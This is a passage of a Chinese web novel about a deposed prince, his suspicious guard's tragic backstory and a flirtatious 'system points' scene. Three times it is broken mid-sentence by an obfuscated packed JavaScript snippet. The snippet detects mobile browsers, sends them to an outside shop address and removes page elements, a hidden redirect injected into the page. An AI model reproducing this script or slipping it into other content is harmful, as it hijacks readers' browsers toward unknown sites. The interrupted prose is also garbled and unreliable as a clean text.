转而他语气柔和,说:“他倒是细心。还教了你别的吗?” 昭昭更高兴了,像分享宝贝一样,又连续比划了几个手势:这个是“慢慢来”,这个是“谢谢你”,这个是“我明白了”…… 她一边比划,一边用力点头,表示谭大哥教得很耐心,每一个手势都会反复演示,直到她记住,还告诉她这些手势在哪些场合用最合适。 “看来谭侍卫不仅身手好,还很有耐心,懂得也多。”岑月白赞许地点点头。 他不再继续这个话题,转而与昭昭聊起青陵城街市的见闻,问她可有什么想买的新鲜玩意儿,气氛轻松舒缓。 车辕上,谭封墨的背影挺直如松,驾驭着马车平稳前行。 马车在王府侧门停稳。 岑月白下车,先迫不及待地去倪映天的书房取了书。那几本崭新的、封面字迹迥异的书果然躺在桌上。 回到自己房间时,已经临近傍晚,岑月白忽然对昭昭道:“昭昭,你去小厨房看看,今天晚膳添一道清淡的汤吧?今天太累了,王爷回来也要润一润。” 昭昭不疑有他,乖巧点头,快步离去。 室内静了下来。岑月白转身,正对上静立门边的谭封墨。 两人对视一瞬,谭封墨立刻垂下了眼:“殿下。” 岑月白莞尔一叹:“你为什么这么执着于叫我殿下呢?” “在属下心中,殿下永远是殿下。”谭封墨说。 岑月白的眸色暗了暗,喃喃低声说,“真不愧是亲兄弟……连说出的话,都一模一样……” 他想起自己刚登基时,明明应该改口称“陛下”了,燕诀还是频频叫错,下意识脱口而出的,仍是那声听了七年的“殿下”。 短短两天,他就笑着在二十一声“陛下”里揪出了四十八声“殿下”。 后来他干脆准了他这么叫。 落云国子民千千万万,他只准了他一人这么叫。 只因那声“殿下”听了七年,他便想听一辈子。 “只是我却不知……”岑月白眼中闪过一丝怅然,似自嘲,又似惘然,“原来他心中的‘陛下’,早已另有其人。” 他摆摆手,似要挥散这点无谓的情绪,疲惫地在榻边坐下,揉了揉眉心。 谭封墨无声地走上前,为他斟了一盏茶。茶汤清亮,香气幽微,是落云国常见的雪山云芽,品质不算顶好,却是最熟悉的故乡味道。 熟悉的茶香包裹上来。岑月白端起,轻抿一口。 “你泡茶这功夫比不上你弟弟。”岑月白不咸不淡地评价道。 “燕诀入宫侍奉太子,自然比我这粗人精细些。”谭封墨答得客气周全。 “下月十五……”许久,岑月白望着窗外渐浓的暮色,声音飘忽,“皇叔便要登基了。你说,燕诀会如何?” 是加官进爵,功成身退?还是……鸟尽弓藏,兔死狗烹? “你觉得,”他转回头,目光清凌凌地看向谭封墨,“我皇叔是个怎样的人?” “……”谭封墨回答,“恭王……勤勉果决,素有威望。” “素有威望?”岑月白重复着这四个字,唇角勾起一抹辨不出情绪的弧度,他反问,“既然如此,你为何不继续留在他身边,为他效命?” 他顿了顿,声音放得更轻,却带着一种柔和的穿透力: “还是说,你背后那个人,给了你更多的好处?” “他让你早早地潜伏在倪映天身边,是为了倪映天,还是为了我?” 谭封墨沉默地看着岑月白,久久不语。 沉默本身,就像一种无声的较量。 “我不想跟你绕那么多弯子。”岑月白今日似乎格外疲惫,一手支着额角,声音里透出淡淡的倦意,“燕诏,我只是想知道,你究竟在为谁做事?岑明川?还是……别的什么人?” “这些重要吗?”谭封墨终于开口。 “不重要吗?” “……请恕属下不能告诉您。” “为什么?” 谭封墨垂下眼,半晌才道,“殿下,您只需要相信,属下绝不会伤害您。” “是吗?”岑月白抿了口茶,氤氲的热气模糊了他眼底的神色,“可当年,燕诀也是这样说的。” “……” 岑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301687|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月白显然不满足于这个答案,但他也明白,若对方铁了心不说,再问也是徒劳。 他笑了笑,不再纠缠此事,转而望向窗外,状若无意地换了个话题:“你觉得昭昭这姑娘如何?” 话题转得突兀,谭封墨一怔。 “你似乎很习惯与昭昭相处,”岑月白语气放缓,不疾不徐,“听她说,你教了她不少手语,很是耐心……” 谭封墨似乎察觉到了岑月白想说什么,呼吸凝滞了一瞬,他谨慎地回答:“昭昭姑娘纯善可爱,属下只是略尽……” “是么?”岑月白转过头,目光温和却清明地落在他脸上,“我观你与她沟通的手势,流畅自然,不似临时所学。你从前……是否也与其他哑巴打过交道?你似乎很懂得如何与她们相处。” “属下……” “是熹儿吗?” 岑月白没有给他编织谎言的时间。 谭封墨那双总是沉稳克制的眼睛,骤然睁大,他立刻垂眸,将所有惊涛骇浪死死压下,恢复成一片沉静的墨色。 “你在惊讶?”岑月白轻声问。 “属下只是不曾想,殿下与燕诀竟亲密至此。”谭封墨再抬眼时,已神色如常,甚至浅浅笑了笑,带点无奈的坦然,“他是如何跟殿下您说的?” “他没有经常跟我提。只是偶尔……他说,我闷着不说话的时候,总是让他想到一个故人。” “那是他小时候喜欢的第一个女孩,是个很安静的哑女,笑起来眼睛弯弯的,名叫熹儿。是几年前初到锦城,兄长带回家里的一个小侍女。”岑月白顿了顿,眼中闪过一丝回忆的微光,“其实,我第一眼见到昭昭的时候,就回想起了燕诀跟我说的那些话。我追问他后来呢?那女孩去了哪里?” “他便再也不肯说了。”岑月白抬起眼,目光清透地望定谭封墨,“燕诏,我想知道,后来究竟发生了什么?” 谭封墨沉默了许久,久到窗外最后一线天光被暮色吞没。他才勉强开口,声音低哑: “请殿下……莫要将昭昭姑娘,与沈熹那种人相提并论。” “沈熹……原来是姓沈吗?”岑月白喃喃念着这个名字,转而问谭封墨,“为什么?” 谭封墨思索了片刻,扯了扯嘴角:“她从一开始,就是恭王……是岑明川的人。” 岑月白的呼吸一窒。 - 书房内的空气仿佛凝固了。 阳光依旧明媚,尘埃依旧浮沉,但某种冰冷刺骨的东西,正从谭封墨低哑的叙述中弥漫开来。 “我比燕诀大八岁……” “我们父母去得很早,那年我九岁,阿诀才刚足周岁,只是个襁褓中的婴儿。我带着他,在市井间摸爬滚打。直到十七岁那年,我被恭王府的人看中,带到了锦城。恭王要我为他做一些……见不得光的事。” 他没有具体说是什么,但岑月白能猜到几分。 “我替他卖命,换取银钱,也想为阿诀谋一个稍好点的前程。他很聪明,根骨也好,我不想他像我一样。” “当时我还是太年轻,以为自己足够小心,把阿诀保护得很好。他什么都不知道,只当我是个对他照顾有加,偶尔行踪神秘的兄长。直到……我无意中发现了一条线索……”谭封墨抬起了头,说。 “关于,恭王意图谋逆的线索。” 20. 燕诏 七年前,落云国锦城,仲夏夜雨。 恭王府偏厅里,烛台高烧,恭王岑明川脸上的阴影深浅不定。 他踱步到燕诏面前,亲手递过一盏茶。 “尝尝,今年新贡的岫云青。”他语气闲适,仿佛只是寻常叙话。 燕诏垂眉躬身接过,茶香清冽,他却不敢细品。 昨夜在书房暗格窥见的那封密信,字字句句仍在脑中灼烧! 岑明川要造反! 岑明川要对皇帝,对太子下手! 他已经开始计划了! 谋逆!弑储!诛九族的大罪! 他被吓得惴惴不安,一夜未眠。 “你跟了本王几年了?”岑明川忽然问。 “回王爷,三年又七个月。”燕诏精准答道。 “三年多了……”岑明川踱回窗前,看着雨幕,“时间不短了。这些年为本王办事,辛苦你了。” “王爷待属下恩重如山,不过是些分内之事。”燕诏恭声回答。 “那眼下,有件紧要差事,事关重大,非心腹忠勇不能为。”岑明川转身,从腰间解下一枚羊脂玉佩,在掌心轻轻摩挲。 “不知你……可愿为本王分忧?” 燕诏端着茶杯,指节收紧:“属下惶恐……” “明年春猎,是个千载难逢的好机会。”岑明川不给他分辨的机会,也丝毫不避讳,直接坦诚地将计划告诉了燕诏,“本王需要一个人,借护驾之名,接近太子,赢得信任,最终……留在东宫,成为太子的贴身侍卫。” 他顿了顿,又问道,“燕诏,你怎么看?可愿担此重任?当然了,你可以拒绝。” “属下……不敢。” 燕诏知道,这下自己如何逃不了,岑明川既然把计划直接明说给了自己,自己如果拒绝,下场就只有一个——被灭口。 他了解岑明川,只有死人才能让他心安。 “很好。”岑明川笑着拍了拍他的肩膀。 “你放心,时间还长,足够我给你安排一个干干净净的身世。”岑明川坐回自己的主位上,语气温和,“而且,入宫期间,我会替你好好照顾你弟弟的。” 燕诏感到一股寒气从脚底直窜头顶,瞬间冰透了四肢百骸。 岑明川这分明是在威胁他,拿弟弟的性命威胁他! 不,不行……! 事关谋逆,十死无生,绝对不能让阿诀牵涉进来,绝对不能! 他不能坐以待毙。 “燕诏?茶都冷了。”岑明川叫他一声,“你在想什么?” “属下……属下只是在想,王爷为什么看中了我……” 岑明川嗤笑了一声,悠悠道:“因为你武功拔尖,办事稳妥,长相也周正,不易惹人防备。更难得的是……” 他顿了顿,嘴角勾起一抹意味深长的弧度,“你最听话……” 燕诏竭力控制住呼吸的节奏,垂下眼:“承蒙王爷厚爱,属下才疏学浅,实在……惶恐。” “你不必妄自菲薄。本王说你能,你便能。”岑明川打断他,朝他挥挥手,示意他退下,“回去好好想想,想清楚了,再来回话。” 燕诏退出偏厅,走入冰冷的雨幕。 雨水打湿了他的头发,却让他的目光越来越冷厉,越来越清明。 不能去。 他不能去,一旦入宫,无论成败,他都必死无疑。 为了永绝后患,岑明川绝对不会留活口! 不行!绝不能答应! 离开!走! 他必须立刻带着阿诀离开!离开锦城,离开落云,越远越好! - 接下来的日子,燕诏开始了孤注一掷的准备。他表面如常,暗中却以惊人的效率开始准备。 他尽可能清理掉所有可能与恭王府产生联系的细微痕迹,销毁自己为岑明川做事留下的罪证。 他通过黑市弄来足以乱真的身份文书和通往大雍边境的路引,将积攒的钱换成轻便却价值不菲的珠宝。 那些在恭王府搜到的那些书信,被他仔细封好,贴身藏匿。 他以为自己足够小心,行动足够隐秘。 直到那日,当他某日提前回到那处位于城西的小院时,却在窗外瞥见一个黑色的身影。 那人正背对着窗户,动作敏捷而专业地翻检着他床榻下那块松动的青砖。 那是他藏匿紧要物品的暗格之一! 是岑明川的人?!他来找那些证据! 燕诏心里暗道不好。那身影却已经察觉了他的靠近,如鬼魅般飞身而走。 “站住!”燕诏纵身急追。 两人一追一逃,迅速过招,匆匆间便交手数个回合。最终在几里之外的城郊,一条僻静的林子中,燕诏成功截住了那道黑影。 他挑开了对方的面罩。 四目相对。燕诏却感到浑身的血液几乎倒流。 是熹儿! 沈熹! 那个三年前被他救回家的哑女! 那个温柔少言,对阿诀照顾得无微不至的沈熹! 沈熹脸上惯常的温顺怯懦消失得无影无踪,只剩一片冰冷的沉静。她反应迅捷,格挡反击,身手利落得绝非普通侍女! “是你!”燕诏从牙缝里挤出质问,“为什么?!” “你一直是恭王的人!” 沈熹没有回答,她是个哑巴,但眼里却带着惨然又决绝的笑意。 忽然,燕诏背后,瞬间火光滔天! 燕诏整个人动作僵住,迅速转身,那火光冲天而起的地方,是他与燕诀的住所! “不对……怎么会……” 他看着沈熹眸中倒映着火光,背脊发凉,冷汗直流。 电光石火间,一切异常都串联起来了,他全都明白了! 为什么自己的逃跑计划如此顺利,为什么岑明川坦言告诉自己计划却没有派人监视,为什么岑明川会突然地信任他?会直接用阿诀的性命威胁他? 岑明川生性多疑,更深谙人性,怎么会猜不到自己对他根本就没那么忠心?! 因为,岑明川那个计划……真正的目标从来不是他! 他年纪已长,心性已定,不易掌控。 根本就不适合这个任务! 岑明川要的,是更年幼,更有天赋的,如同一张白纸般更好控制的燕诀! 心脏在胸腔里疯狂擂动,真得燕诏耳膜咚咚作响。 不行!他必须立刻带阿诀走! 不能让他落在恭王手里! 他没再纠缠负伤的熹儿,不顾一切地转身朝家的方向狂奔,恐惧像冰冷的藤蔓缠紧了他的喉咙。 沈熹却不依不饶,紧紧追在他身后,不断地出招干扰他的行动。 燕诀抽空与她过两招,但脚下依旧不停,任凭沈熹刺伤了他的肩膀和大腿,他顾不上疼痛,依旧向着那个小院飞驰。 一股夹杂着焦糊味的夜风扑面而来。 他猛地抬头,橘红色的火光冲天而起。浓烟滚滚,吞噬了那片熟悉的屋檐轮廓! “阿诀——!!!” 他大吼着,像一头野兽冲向那片火海。 热浪灼人,木材燃烧的爆裂声震耳欲聋,小小的院落已化作炼狱。 燕诏不顾一切地冲入屋子,却如何都找不到燕诀。 院外,沈熹深吸一口气,脱掉了身上染血的夜行衣,露出了里面她常穿的布裙。 她将黑色的衣服随意地丢在火焰上,任由它被火舌烧尽。然后纵深一跃,竟也不顾危险冲进火场,如鬼魅般再次缠了上来。 她的攻势越发狠戾,招招致命,不死不休。 对弟弟安危的恐惧和担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301688|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忧,让燕诀极其愤怒。他终于不再留手,手中的长剑带着全身的力量,猛地刺入了沈熹的腹部! “噗嗤。” 利刃没入血肉发出闷响。 “呃……”沈熹身体剧震,动作凝滞。 她抬起头看向燕诏,火光映着她扭曲的面容,眼角渗出泪花,显得楚楚可怜,仿佛在质问他:“为什么?” 沈熹的眼睛大大地挣着,在临死的最后一刻,她竟却表现出了极致的无辜和茫然。 燕诏被她这个眼神看得心中发毛。也不知道这疯女人临死前演这么一遭给谁看。 他面色冰冷,猛地将长剑抽出:“恶心!” 随即,沈熹软软地倒了下去,身下迅速洇开一片深色。 “哥……哥哥?!”一个颤抖的声音,在他身后哽咽着响起。 燕诏浑身一僵,霍然转身。 火光摇曳的光影下,燕诀被几个身着劲装的侍卫半护半围着,站在几步之外。 十四岁的少年脸上沾满了烟灰和泪痕,单薄的身体在夜风中瑟瑟发抖,那双总是明亮清澈的眼睛,此刻瞪得极大,里面盛满了极致的惊恐和茫然。 而在燕诀身旁,披着深色大氅,面色沉痛中带着威严的,正是恭王岑明川,岑明川。 岑明川看了一眼地上生死不知的熹儿,摇头叹息:“燕诏,就算是要畏罪潜逃,又何必为难一个侍女呢?真是……不懂得怜香惜玉。” “阿诀,你听我……” 燕诏身形僵直,急切地向前一步,想冲向弟弟。 “拿下这个弑杀无辜,纵火行凶的狂徒!”岑明川自信地勾起唇,挥手下令。 侍卫们立刻持刀围拢上来,冰冷的刀锋反射着跳动的火光。 燕诀茫然无措地看着他,又看看地上悄无声息的熹儿,再看看身后那片烈焰,最后,目光定格在燕诏受伤那柄染血的长剑上。 上面温热的鲜血还在一滴一滴往下淌。 那是熹儿的血。 沈熹濒死时的疑惑,不解和茫然的视线不断在他脑海中回放。 少年的嘴唇颤抖着,他想喊“哥哥”,想问“为什么”,想扑过去查看熹儿的伤势……但一只有力的手轻轻按住了他的肩膀。 那只手很稳,很温和,却像一道无形的枷锁。 少年眼中最后一点微弱的光,彻底熄灭了。他猛地低下头,躲开了燕诏的视线,身体却更紧地朝岑明川的方向缩了缩。 完了。 一切都完了!燕诏双手发抖,心如死灰。 他才明白,岑明川雨天的问话,只是为了让他逃跑,而他销毁证据,准备的通牒,都将会成为自己叛逃的证据。 今天这场调虎离山,这场冲天大火,这场恰到好处的目睹和围猎,甚至沈熹的死,都是为了将他灭口,然后在燕诀面前将他彻底钉死在“凶手”的位置上…… 真是好大一出戏! 都是岑明川精心策划的! 他要彻底斩断他们兄弟的联系,让燕诀从此只能依附信任他这个“救命恩人”! 在侍卫合围的瞬间,他爆发出全部的凶性和求生欲,不顾一切地撞向一个方向,硬生生用肩膀承受了一记刀劈。 他撞开缺口,朝着漆黑一片的巷道深处亡命奔逃。 身后是叱喝声,是追赶的脚步声,是火焰燃烧的爆响,而他心里只剩下燕诀那双失望又无神的双眼。 那个他从小相依为命的弟弟,他看着长大的少年,再也不会满脸依赖地缠着他,叫他哥哥了。 他不知道跑了多久,伤口流血不止,视线开始模糊,背后的追兵越来越近。冰冷的蔺河横亘在眼前,黑色的河水在夜色中汹涌咆哮。 前无去路,后有追兵。 他回头,最后望了一眼那片冲天的火光,纵身一跃,身形被蔺河无情地吞噬。 21. 我想要 “他在下游荒滩上醒来时,已经不知过了多久。” “后来,他冒险再回锦城,家中已成废墟,阿诀早已被恭王以‘照料遗孤’的名义带走。他又潜入恭王府,却险些再次被擒。他再次拼死逃脱之后,准备先把伤养好再做打算。” “但他没想到,恭王一开始跟他说的就是错的,他们行动的时间不是第二年春猎,而是当年的秋狩。三个月后,燕诏便因‘救驾有功’,顺理成章地入了宫。” “他又在外逃亡了大半年之后,终于找机会离开了落云国,来到大雍。到青陵时,他想起当年,他发现的那封密信上,提到了“梁王倪映天”。” “于是,他便隐姓埋名,取母姓谭,成功潜伏到了你的身边,打探内部消息,见机行事。”岑月白说完最后一个字,端起茶盏轻抿了一口。 “这就是他给我讲的故事。” 倪映天盘腿坐在床上,拧着眉听完。 “那封信呢?”他问。 “他说,跳河后醒来便不见了。说应该是混战中被人取走了。” 倪映天沉默片刻:“但七年前太久了,那时原主并未与岑明川通信。” “对。”岑月白放下茶盏,“那信是岑明川与一个署名‘云壑先生’的人在筹谋。信里提到,事成之后可与‘雍国梁王倪映天’合作。” “哦。”倪映天应了一声,陷入沉思。 房间里安静下来,许久,岑月白轻声问:“你觉得这个故事怎么样?” “一个……挺精彩的故事?”倪映天缓缓道。 岑月白问他:“你信吗?” 倪映天转过头看向岑月白:“为什么这么问?你不信?” 岑月白垂下眼,看着茶盏中沉浮的茶叶,许久才开口:“我不信。” “为什么?” “其实,里面有好几处疑点。” 岑月白抬起眼,详细跟倪映天剖析道: “第一,密信的来源不太对。” 他思路清晰,竖起一根手指,“这种关乎谋逆的书信,该藏在夹层暗格,严加看守。谭封墨虽为岑明川做事,但终究不是心腹中的心腹。他哪来那么巧的机会看到?又哪来那么大的胆子取走?” 他顿了顿,语速平缓却字字清晰:“目前没有证物或者证人,要么这信本就是他编的,要么……他潜入恭王府,从一开始就另有目的。” 倪映天的眉头皱得更紧。 “其次,他的动机不符合行为。” 岑月白条分缕析,一一说出其中的异常,“常人见到这种信,第一反应是惊恐逃命。他却冒险抄录调换,甚至想带出府去。我问他时,他说是为了日后呈交陛下,以此保全自己和弟弟。” “这话对一个只想自保的小人物来说,太危险,也太……高尚了。更不合常理。所以,他冒死也想将证据带出来,一定有别的目的。” 烛光在他脸上跳跃,投下长长的睫毛阴影。 “第三,他如何逃脱?有点过于夸张了。” 岑月白的声音更沉了些,“岑明川生性多疑,行事缜密,决不可能留他的活口。因为这样暴露的风险太大了。一旦燕诏活下来,他所有的计谋都将功亏一篑。因此,他必然会布下天罗地网,逃脱路线上不可能没有埋伏。谭封墨跟沈熹拼杀,伤到了双腿和肩膀,后来又在火场耽搁,但最后,居然还能从重重围捕中脱身……未免太过轻易或侥幸了。” 他抬眼看向倪映天:“我更倾向于,有人暗中帮助他。可他对这点,却只字未提。” “最后,也是最重要的。” 岑月白身体微微前倾,“他既然已逃到大雍,对燕诀的处境鞭长莫及,最该做的是彻底隐姓埋名,远走高飞。为何还要千辛万苦潜入倪映天这个“阴晴不定”的王爷身边?” “这件事既不能让他脱离权利漩涡,又不能让燕诀的处境得到丝毫改善……他为何要冒这个险?” “就为了查清岑明川的阴谋吗?那他也应该暗中行事,或者边缘打探,而非成为贴身侍卫,反而招致更多注意。” 他顿了顿,“这行为风险极大,动机却模糊。与他塑造的‘只求平安’的人设……背道而驰。” 话音落下,房间里一片寂静。 倪映天看着岑月白,看了很久。 烛光在那双眼睛里跳跃,他忽然意识到眼前这个人,从来都不是什么需要呵护的娇弱花朵。 他是落云国的太子,是在阴谋中心长大的储君。 “这些疑点单独来看,或许都能解释。”岑月白最后说,“但放在一起,就显得有些欲盖弥彰。” 他轻轻呼出一口气:“所以我认为,他背后一定还有人。或者说,有一个势力。只是不知道……是谁。” 说完这些,岑月白才发现倪映天正静静地看着自己。那双眼睛在夜色里显得格外清亮。 “在听吗?”岑月白问。 “在啊。” “那你在想什么?” 倪映天摸了摸鼻子,说:“我在想……你脑子真好。” 岑月白:“……” “跟这些事打交道真耗脑细胞。”倪映天叹了口气,揉了揉自己的太阳穴,“我果然还是适合种种地,修修渠。” 岑月白无声地叹了口气。 “那你呢?”倪映天忽然凑近了些,困惑道,“你这人跟人精似的,谁都不信,为什么愿意把这件事告诉我?你……信任我?” 因为你比较傻! 岑月白几乎要脱口而出。 但他最终没有说出口。 他微微偏过头,目光落在床头小柜上,那里放着几本崭新的书。 “因为这个吧。”他指着那几本倪映天用系统“变”出来的书,轻声说,“至少……你证明了一些东西。” 倪映天顺着他的目光看去,愣了愣。他张了张嘴,似乎想说什么,最终却只是“哦”了一声。 “说起来……”岑月白单手支着下巴,转移了话题,“原主与皇叔勾结的信,还留着吗?总不会都阅后即焚了吧?” “都留着。”倪映天回答得很快,“放心,原主没那么傻。销毁把柄这种二缺事,还是不会干的。” “只是来往信件没用真名,是原主的一个门客,与岑明川那个叫‘云壑先生’的手下的落款和印。” 岑月白颔首。这符合皇叔一贯的谨慎作风。 “哪个门客?现在在哪儿?”他问。 “被原主灭口了。”倪映天回答道,“那些信不在青陵,在宣京的王府里。你需要吗?” “需要。” “那找个机会取回来吧。”倪映天说,“放得太远,总觉得不安心。” “嗯。”岑月白点头,“有可靠的人吗?” “顾凛?祝枭?”倪映天想了想。 “真得可靠吗?”有了谭封墨的先例,岑月白对倪映天的看人眼光,实在不敢恭维。 “哎,这俩从十几岁就跟着原主了,应该问题不大。” 岑月白又想到了燕诀。那个陪伴他长大、如今却可能早已背叛的人。 “算了吧……还是找个时间,你亲自回宣京一趟。”他忽然又想到了倪映天那个系统,似乎不允许两人距离太远的,又叹了口气,问道,“话说,你那个系统,什么时候能允许我们单独行动?总不会一辈子都不行吧?” “啊……等任务完成。” “任务完成?所有任务?那么多?” “怎么可能,全部任务完成,你就算不死,也成了个废人了……” 岑月白:“……” “有一个任务完成就行。” “是什么?” “……”倪映天不说话了,半晌之后,他生硬地转移了话题,“哎,我们有这些证据,就能做实岑域谋害先帝的事了吧?然后你就能回去做皇帝了?” “……” 见他不愿说,想来这个任务一定很难以启齿,岑月白也懒得再追问下去。 他看着倪映天天真的模样,叹了口气:“哪有这么简单?且不说这些落款根本没有牵涉到皇叔本人,他随便一个甩锅就能解决干净……你手里有皇叔的把柄,当他手里没有你的把柄?要是让大雍皇帝知道你勾结落云,这青陵城你还混不混了?” “更何况,我去做皇帝了,你怎么办?你那系统饶得了你?” “你做皇帝,我跟你去落云国啊!”倪映天来劲了,坐直身子,“有皇帝做靠山,谁还做王爷,我还在这小小的青陵城搞什么基建?” 他眼睛发亮,像是真在认真规划:“你放心,交给我。我做你最得力的肱骨大臣,绝对振兴咱落云国!” 岑月白:“……” 他看着倪映天兴奋的脸,挑眉撂下一句:“看你那系统的德行……估计不是让你做大臣,是做王后吧。” 倪映天脸腾地一热,正想辩解,岑月白却已经若无其事地转开了话题。 “先不说这个。”岑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301689|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月白说,“你那个系统里,除了今日看的那种‘新型铲’,有没有……武器之类的东西?” 倪映天一愣:“武器?……火药算吗?” 他记得基建文里的男主总是手搓□□什么的。 “火铳吗?”岑月白听说过大雍近些年,在用火药发明一些武器。 “现在的火铳威力还太小,”倪映天摇摇头,来了精神,盘腿坐得更端正了些,“我们那儿……有种叫‘枪’的东西。不是长矛,是能握在手里,扣一下扳机,几十步甚至上百步外就能取人性命,还有更大的炮,一炮下去,城墙都能轰开缺口……” 他见岑月白听得专注,便说得更起劲:“再厉害的,还有能飞越几千几万里,落到指定城池的导弹,甚至有一种叫‘核弹’的……一颗下去,整个青陵顷刻间就能化为焦土,几十年内草木不生。” 岑月白微微吸了口气:“真的假的?也是基于火药爆炸的威力?” “没有,原理……很复杂,我也不太懂。”倪映天摊手,“但说实话,想在这里手搓出现代枪炮,基本没可能。不仅仅是配方问题,需要特种钢材和机床,还有化工和稳定电力……全是死结,除非直接掀起工业革命。” “更何况,那些东西的图纸和工艺,在我那个世界也是最高机密,很难查到。” 他看到岑月白眼中闪过一丝失望,话锋又一转:“不过,我们可以退而求其次。改良现有的□□,提高威力,或者设计制造一些结构相对简单,比如手榴弹,短管火炮之类的……” 岑月白眸光闪动,沉吟道:“那就需研习你的那些知识,绘制详尽的构造图……” 他忽然想起一事,问,“前些日我去你书房,见到的那副精密的堪舆图,也是系统给你的?” 倪映天点头。 “还有那支炭笔,”岑月白继续说道,“笔迹清晰均匀,很适合画图……” “那个叫铅笔。”倪映天笑道,“我们那儿的人平时画图记录都用铅笔。笔芯是石墨混合黏土烧制的,外面裹上木杆。到我们那时候,写字也不再用毛笔了,都用硬笔,用钢笔,圆珠笔什么的,灌上墨水就能用。” “当然,小时候学写过毛笔字,”他有点不好意思地摸摸鼻子,“就是太丑了,被老师说过好多回。” 岑月白想起那晚这人在自己背上划拉的字迹,深以为然地点点头:“确实丑。” 倪映天:“……” 倒也不用这么肯定! “铅笔不但画得精确,还有个好处,”倪映天找回话题,“画错了很容易修改,用橡皮擦擦就掉,不留痕迹。” “橡皮?” “对,通常是橡胶做的,很好用。”倪映天解释,“自己做铅笔,想想办法或许还能凑合,但人工合成橡胶目前搞不定。就算搞到天然橡胶,用来做橡皮有点太浪费了。” 岑月白敏锐地问:“所以,你上次用的那支铅笔,是怎么来的?系统给的?” 倪映天表情一僵,答道:“是上次我跟系统讨价还价……换堪舆图的时候额外赠送的……” “还能再弄到吗?”岑月白问,“需要完成什么任务?我想要。” 倪映天一尬闭上嘴扭开头,一副“打死我也不说”的样子。 岑月白眯了眯眼。忽然伸手,轻轻按在倪映天肩膀上。 倪映天还没反应过来,就被带着向后倒去,跌进柔软的床铺里。岑月白顺势俯身,手臂撑在他耳侧,乌黑的长发从肩头滑落几缕,带着淡淡的月下白昙的香气。 “说。” 倪映天看着那张漂亮得有些过分的脸,喉结滚动,心跳也快了几拍,如实道:“……需要……系统积分换。” “积分,用什么换?”岑月白又问。 倪映天的脸更红了,眼神躲闪:“吻……吻痕……在特定位置留下,系统会按……按程度给分。” 房间里静了一瞬。 岑月白若有所思地垂了垂眼帘。 然后,他伸手抚向自己的衣领。 纤细修长的手指轻轻一勾,将寝衣领口拉松了一些。 布料滑开,露出一段清瘦白皙的脖颈和清晰的锁骨。暖黄的烛光下,那处的肌肤仿佛上好的暖玉。 他没有说话,只是用指尖若有似无地拂过锁骨,目光却落在倪映天脸上,带着一丝不动声色的引诱。 倪映天的呼吸滞住,眼睛不受控制地看向那片风景,落在那处凹陷的锁骨窝,脑中嗡嗡作响。 22. 蝶 “你……” 倪映天喉结上下滚动,大脑一片空白。 什么系统、积分、铅笔……全都搅成了浆糊,全是似乎只剩下这片晃眼的玉色。 烛光跳动,房间里的空气仿佛凝滞了。 岑月白的指尖仍停留在锁骨处,那里像是盛着一小捧蜜糖,诱人沉溺进去。 他似乎觉得倪映天这样很有趣,弯了弯唇角,稍稍压低身子:“不是说……要这样才行么?” 长发剐蹭着倪映天的脸颊,弄得他心里痒痒的。 倪映天脸红了个底朝天,手脚都不知道该往哪儿放,眼神飘忽,不敢再看。 “我,我……我不……” “不什么?不会?” 看他这副窘迫到快要冒烟的模样,岑月白眼底的笑意更深了,觉得比拿到十支铅笔还有趣。 “怎么?教习婆子没教过吗?”他转而轻轻点了点倪映天紧抿的唇瓣。 “喔,我都忘了,王爷可是穿越而来,你们那个世界,自然是不教这些的。” “嗯。”倪映天脸颊红得几乎要滴血,自暴自弃地闭上眼睛。 岑月白没再说话,他抱着倪映天翻了个身,让倪映天把他压在身下。 长发散落一床,刘海散开,露出岑月白光洁的额头。 岑月白没再说话,手臂稍一用力,带着倪映天翻身调换了位置。 长发铺了满床,他抬眼望着上方僵硬的人,眼里漫着笑。 “那我就勉为其难地,教教你?” “非……非得这样吗?”倪映天声音发虚。 岑月白低笑一声,手勾住他后颈,将人轻轻带向自己颈侧:“没那么难,梁王殿下聪慧,肯定一学就会。” “要,怎么做……” 倪映天是真不太知道,只是嘴唇贴上去的话,怎么会有吻痕?他又没涂口红什么的? “抿住一块皮肉,然后轻轻地……吮一下,就好……”倪映天的呼吸扑在脖间,挠得岑月白心里有点痒。 倪映天僵着脖子,依言俯首,牙齿轻轻地咬了上去。 倪映天的唇温软湿热,一阵阵酥麻,岑月白轻轻吸了口气。 他搭在倪映天后颈的手指无意识收拢,随即又强迫自己放松下来。 “行……行了。”倪映天听到系统的提示音,立刻从床上弹开。 岑月白捂着脖子将衣服重新拢好,遮住了那抹艳色。 脸上恢复了平常的清淡,仿佛刚才那旖旎一幕从未发生,只有眼尾似乎还残留着一丝红晕。 “够了?” 